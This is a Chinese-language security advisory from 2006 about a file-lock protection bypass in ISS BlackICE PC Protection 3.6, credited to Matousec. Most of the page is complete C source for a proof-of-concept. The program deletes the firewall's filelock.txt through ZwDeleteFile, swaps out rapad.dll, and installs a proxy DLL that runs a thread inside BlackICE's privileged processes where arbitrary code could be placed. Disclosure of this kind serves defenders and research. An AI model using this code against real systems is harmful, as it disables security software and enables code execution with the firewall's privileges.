安全研究
安全漏洞
BlackICE文件锁定保护绕过漏洞
发布日期:2006-10-13
更新日期:2006-10-16
受影响系统:
ISS BlackICE PC Protection 3.6描述:
BUGTRAQ ID: 20546
BlackICE是一款Internet Security Systems公司发布的桌面防火墙系统。
BlackICE PC Protection在处理关键文件的保护时存在漏洞,本地攻击者可能利用此漏洞绕过文件的保护机制。
BlackICE PC Protection的关键文件,如可信任应用程序数据库或防火墙配置,都是受到保护的。受保护文件列表存储在BlackICE安装目录的filelock.txt文件中。如果将这个文件删除的话,filelock.txt中的文件就会失去保护,被恶意的应用程序更改。恶意应用程序可以使用原始API函数ZwDeleteFile删除这个文件,导致绕过所有BlackICE所提供的保护机制。
<*来源:Matousec (http://www.matousec.com/)
链接:http://www.matousec.com/info/advisories/BlackICE-Filelock-protection-bypass.php
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Testing program for Filelock protection bypass (BTP00013P003BI)
Usage:
prog INSTDIR
INSTDIR - BlackICE installation directory
Description:
This program uses native Windows function ZwDeleteFile to delete "filelock.txt" in BlackICE
installation directory. Then it renames "rapad.dll" to "rapad.dll.bug" in BlackICE installation directory
and copies own DLL to this directory instead of original "rapad.dll". This DLL is loaded into
processes called "RapApp.exe" and "blackd.exe" during system startup or when the user is asked for a decision
by new instance of "RapApp.exe".
Test:
Running the testing program with a path to BlackICE installation directory as an argument,
execution of protected action or restarting the system.
*/
#include <stdio.h>
#include <windows.h>
#include <ddk/ntapi.h>
void about(void)
{
printf("Testing program for Filelock protection bypass (BTP00013P003BI)\n");
printf("Windows Personal Firewall analysis project\n");
printf("Copyright 2006 by Matousec - Transparent security\n");
printf("http://www.matousec.com/\n\n");
return;
}
void usage(void)
{
printf("Usage: INSTDIR\n"
" INSTDIR - BlackICE installation directory\n");
return;
}
void print_last_error()
{
LPTSTR buf;
DWORD code=GetLastError();
if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,code,0,(LPTSTR)&buf,0,NULL))
{
fprintf(stderr,"Error code: %d\n",code);
fprintf(stderr,"Error message: %s",buf);
LocalFree(buf);
} else fprintf(stderr,"Unable to format error message for code %d.\n",code);
return;
}
/*
name_to_native converts classic Windows file name like "c:\test.txt"
to native format like L"\??\c:\test.txt"
*/
PUNICODE_STRING name_to_native(char *name)
{
char *buf=malloc(sizeof(UNICODE_STRING)+2*MAX_PATH*sizeof(wchar_t));
if (!buf) return NULL;
PUNICODE_STRING us=(PUNICODE_STRING)buf;
wchar_t *usbuf=(wchar_t*)(&buf[sizeof(UNICODE_STRING)]);
wchar_t namew[MAX_PATH];
snwprintf(namew,MAX_PATH,L"%S",name);
us->Length=0;
us->MaximumLength=2*MAX_PATH;
us->Buffer=usbuf;
if (RtlDosPathNameToNtPathName_U(namew,us,NULL,NULL)) return us;
else return NULL;
}
int main(int argc,char **argv)
{
about();
if (argc!=2)
{
usage();
return 1;
}
char curdir[MAX_PATH],sysdir[MAX_PATH],filelock[MAX_PATH],testdll[MAX_PATH],rapad[MAX_PATH],rapad_new[MAX_PATH];
GetCurrentDirectory(MAX_PATH,curdir);
GetSystemDirectory(sysdir,MAX_PATH);
int curdirlen=strlen(curdir)-1;
if (curdir[curdirlen]=='\\') curdir[curdirlen]='\0';
int err=0;
snprintf(filelock,MAX_PATH,"%s\\filelock.txt",argv[1]);
PUNICODE_STRING ntname=name_to_native(filelock);
if (ntname)
{
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa,ntname,0,0,NULL);
NTSTATUS status=ZwDeleteFile(&oa);
if (NT_SUCCESS(status))
{
printf("\"%s\" deleted.\n",filelock);
snprintf(testdll,MAX_PATH,"%s\\testdll.dll",curdir);
snprintf(rapad,MAX_PATH,"%s\\rapad.dll",argv[1]);
snprintf(rapad_new,MAX_PATH,"%s\\rapad.dll.bug",argv[1]);
if (MoveFileEx(rapad,rapad_new,MOVEFILE_REPLACE_EXISTING | MOVEFILE_WRITE_THROUGH))
{
printf("File \"%s\" moved to \"%s\".\n",rapad,rapad_new);
if (!CopyFile(testdll,rapad,FALSE))
{
fprintf(stderr,"Unable to move file \"%s\" to \"%s\".\n",testdll,rapad);
err=1;
} else printf("File \"%s\" copied to \"%s\".\n",testdll,rapad);
} else
{
fprintf(stderr,"Unable to move file \"%s\" to \"%s\".\n",rapad,rapad_new);
err=1;
}
} else
{
fprintf(stderr,"Unable to delete file \"%s\" using ZwDeleteFile, error status was 0x%X.\n",filelock,status);
err=2;
}
free(ntname);
}
if (err)
{
if (err==1)
{
print_last_error();
fprintf(stderr,"\n");
}
printf("\nTEST FAILED!\n");
return 1;
}
printf("\nTEST SUCCESSFUL!\n");
return 0;
}
================================================
/*
Helper DLL for Filelock protection bypass (BTP00013P003BI)
Description:
This DLL implements functions of original BlackICE library "rapad.dll". During its initialization it creates
a new thread that can be used for executing malicious code. It logs its actions into a logfile.
*/
#include <stdio.h>
#include <windows.h>
typedef DWORD __attribute__ ((cdecl)) (*RAPAD_ROGUEAD_RECEIVE_EVENT)(DWORD arg1,DWORD arg2);
typedef DWORD __attribute__ ((cdecl)) (*RAPAD_ROGUEAD_SEND_EVENT)(DWORD arg1,DWORD arg2,DWORD arg3,DWORD arg4);
typedef DWORD __attribute__ ((cdecl)) (*RAPAD_FN_ROGUEAD)(void);
RAPAD_ROGUEAD_RECEIVE_EVENT RAPAD_ROGUEAD_ReceiveEvent=NULL;
RAPAD_ROGUEAD_SEND_EVENT RAPAD_ROGUEAD_SendEvent=NULL;
RAPAD_FN_ROGUEAD RAPAD_fnRogueAd=NULL;
HANDLE thread=NULL;
char msg[1024];
void logmsg();
/*
Implementations of ROGUEAD_ReceiveEvent, ROGUEAD_SendEvent and fnRogueAd by a simple redirection to original
"rapad.dll" functions.
*/
DWORD __attribute__ ((cdecl)) ROGUEAD_ReceiveEvent(DWORD arg1,DWORD arg2)
{
snprintf(msg,1024,"Process PID=%d -> ROGUEAD_ReceiveEvent(arg1:0x%X,arg2:0x%X)\n",GetCurrentProcessId(),arg1,arg2);
logmsg();
DWORD ret=RAPAD_ROGUEAD_ReceiveEvent(arg1,arg2);
snprintf(msg,1024,"Process PID=%d -> ROGUEAD_ReceiveEvent returned %d\n",GetCurrentProcessId(),ret);
logmsg();
return ret;
}
DWORD __attribute__ ((cdecl)) ROGUEAD_SendEvent(DWORD arg1,DWORD arg2,DWORD arg3,DWORD arg4)
{
snprintf(msg,1024,"Process PID=%d -> ROGUEAD_SendEvent(arg1:0x%X,arg2:0x%X,arg3:0x%X,arg4:0x%X)\n",GetCurrentProcessId(),arg1,arg2,arg3,arg4);
logmsg();
DWORD ret=RAPAD_ROGUEAD_SendEvent(arg1,arg2,arg3,arg4);
snprintf(msg,1024,"Process PID=%d -> ROGUEAD_SendEvent returned %d\n",GetCurrentProcessId(),ret);
logmsg();
return ret;
}
DWORD __attribute__ ((cdecl)) fnRogueAd(void)
{
snprintf(msg,1024,"Process PID=%d -> fnRogueAd()\n",GetCurrentProcessId());
logmsg();
DWORD ret=RAPAD_fnRogueAd();
snprintf(msg,1024,"Process PID=%d -> fnRogueAd returned %d\n",GetCurrentProcessId(),ret);
logmsg();
return ret;
}
/*
logmsg logs messages to C:\BTP00013P003BI.log
*/
void logmsg(void)
{
HANDLE log=CreateFile("C:\\BTP00013P003BI.log",GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if (log!=INVALID_HANDLE_VALUE)
{
SetFilePointer(log,0,NULL,FILE_END);
DWORD bytes;
WriteFile(log,msg,strlen(msg),&bytes,NULL);
CloseHandle(log);
}
return;
}
/*
thread routine that can execute malicious code with the privileges BlackICE processes
*/
DWORD WINAPI thread_proc(HMODULE module)
{
while (1)
{
snprintf(msg,1024,"Any code can be executed now in process PID=%d, using module at 0x%p.\n",
GetCurrentProcessId(),module);
logmsg();
Sleep(10000);
}
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
if (fdwReason==DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hinstDLL);
HMODULE mod=LoadLibrary("rapad.dll.bug");
RAPAD_ROGUEAD_ReceiveEvent=(PVOID)GetProcAddress(mod,"ROGUEAD_ReceiveEvent");
RAPAD_ROGUEAD_SendEvent=(PVOID)GetProcAddress(mod,"ROGUEAD_SendEvent");
RAPAD_fnRogueAd=(PVOID)GetProcAddress(mod,"fnRogueAd");
snprintf(msg,1024,"DLL_PROCESS_ATTACH for testdll.dll in process PID=%d, hinstDLL = 0x%p\n"
"RAPAD_ROGUEAD_ReceiveEvent = 0x%p\n"
"RAPAD_ROGUEAD_SendEvent = 0x%p\n"
"RAPAD_fnRogueAd = 0x%p\n",
GetCurrentProcessId(),hinstDLL,RAPAD_ROGUEAD_ReceiveEvent,RAPAD_ROGUEAD_SendEvent,RAPAD_fnRogueAd);
logmsg();
thread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)thread_proc,hinstDLL,0,NULL);
}
if ((fdwReason==DLL_PROCESS_DETACH) && thread)
{
snprintf(msg,1024,"DLL_PROCESS_DETACH for testdll.dll in process PID=%d, hinstDLL = 0x%p\n",GetCurrentProcessId(),hinstDLL);
logmsg();
TerminateThread(thread,0);
CloseHandle(thread);
}
return TRUE;
}
建议:
厂商补丁:
ISS
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://xforce.iss.net
浏览次数:4927
严重程度:0(网友投票)
绿盟科技给您安全的保障
